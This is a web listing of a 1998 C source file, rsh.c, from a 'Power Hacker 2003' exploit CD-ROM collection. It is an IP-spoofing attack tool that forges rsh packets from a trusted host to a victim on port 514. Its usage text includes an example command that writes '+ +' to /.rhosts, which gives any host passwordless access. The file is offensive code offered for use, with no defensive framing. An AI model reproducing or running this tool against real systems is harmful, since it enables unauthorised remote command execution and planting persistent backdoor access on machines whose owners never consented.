home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ipspoof / rsh.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  2.4 KB  |  110 lines

  1. /* w00w00! */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <sys/wait.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include "spoof.c"
  9.  
  10. #define ERROR -1
  11.  
  12. unsigned long int host2ip(char *serv)
  13. {
  14.   struct hostent     *hent;
  15.   struct sockaddr_in sinn;
  16.       
  17.   if ((hent = gethostbyname(serv)) == NULL) {
  18.     perror("gethostbyname");
  19.     exit(ERROR);
  20.   }
  21.  
  22.   bzero((char *)&sinn, sizeof(sinn));
  23.   bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  24.   return sinn.sin_addr.s_addr;
  25. }
  26.  
  27.                      
  28. void main(int argc, char **argv)
  29. {                           
  30.      
  31.   int i = 1;
  32.   int s, s_r;
  33.   char  *cmdptr;
  34.   char  cmd[512];
  35.  
  36.   u_int sport;
  37.  
  38.   unsigned int port=514;
  39.   unsigned long s_ip, d_ip, da_ip;
  40.   
  41.   printf("w00w00!\n");
  42.    
  43.   if (argc < 2) {
  44.      printf(" %s [ips] [ipd] [ipl] [ps] [luser] [ruser] [cmd]  \n\n", argv[0]);
  45.      printf(" Parameters List : \n");
  46.      printf(" ips   =   ip source (ip of the trusted host)\n");
  47.      printf(" ipd   =   ip destination (ip of the victim)\n");
  48.      printf(" ipl   =   ip local (your ip to receive the informations)\n");
  49.      printf(" ps    =   port source (between 0 and 1024)\n");
  50.      printf(" luser =   local user\n");
  51.      printf(" ruser =   remote user\n");
  52.      printf(" cmd   =   command to execute\n\n");
  53.      printf(" If ya don't understand, this is an example :\n\n");
  54.      printf(" %s a.foo.us b.foo.us ppp.bad.org 1000 root root "
  55.             "\"echo\\\"+ +\\\">/.rhosts\"\n\n", argv[0]); 
  56.  
  57.      exit(ERROR);
  58.   }
  59.     
  60.     
  61.   memset(cmd, 0, 512);
  62.    
  63.  
  64.     
  65.   if ((s_r = socket(AF_INET,SOCK_RAW, 6)) == ERROR) {
  66.     perror("socket");
  67.     exit(ERROR);
  68.   }
  69.       
  70.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  71.     perror("socket");
  72.     close(s_r);
  73.     exit(ERROR);
  74.   }    
  75.      
  76.   #ifdef IP_HDRINCL
  77.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) == ERROR) {
  78.     close(s_r);
  79.     close(s);
  80.     exit(ERROR); 
  81.   }
  82.   #endif
  83.      
  84.   d_ip  = host2ip(argv[2]);
  85.   s_ip  = host2ip(argv[1]);
  86.   da_ip = host2ip(argv[3]);         
  87.   sport = atoi(argv[4]);
  88.  
  89.  
  90.   cmdptr = cmd;
  91.   strcat(cmdptr, "0\0");
  92.  
  93.   cmdptr = cmdptr + 2;
  94.   strcat(cmdptr, argv[5]);
  95.  
  96.   cmdptr=cmdptr + strlen(argv[5]) + 1;
  97.   strcat(cmdptr, argv[6]);
  98.  
  99.   cmdptr=cmdptr + strlen(argv[6]) + 1;
  100.   strcat(cmdptr, argv[7]);
  101.  
  102.   cmdptr=cmdptr + strlen(argv[7]) + 1;
  103.          
  104.   Sconnect(s, s_ip, d_ip, sport, port, da_ip);
  105.   Swrite(s, cmd, strlen(argv[5]) + strlen(argv[6]) + strlen(argv[7]) + 2 + 3);
  106.   Srst(s); 
  107.  
  108. }
  109.   
  110.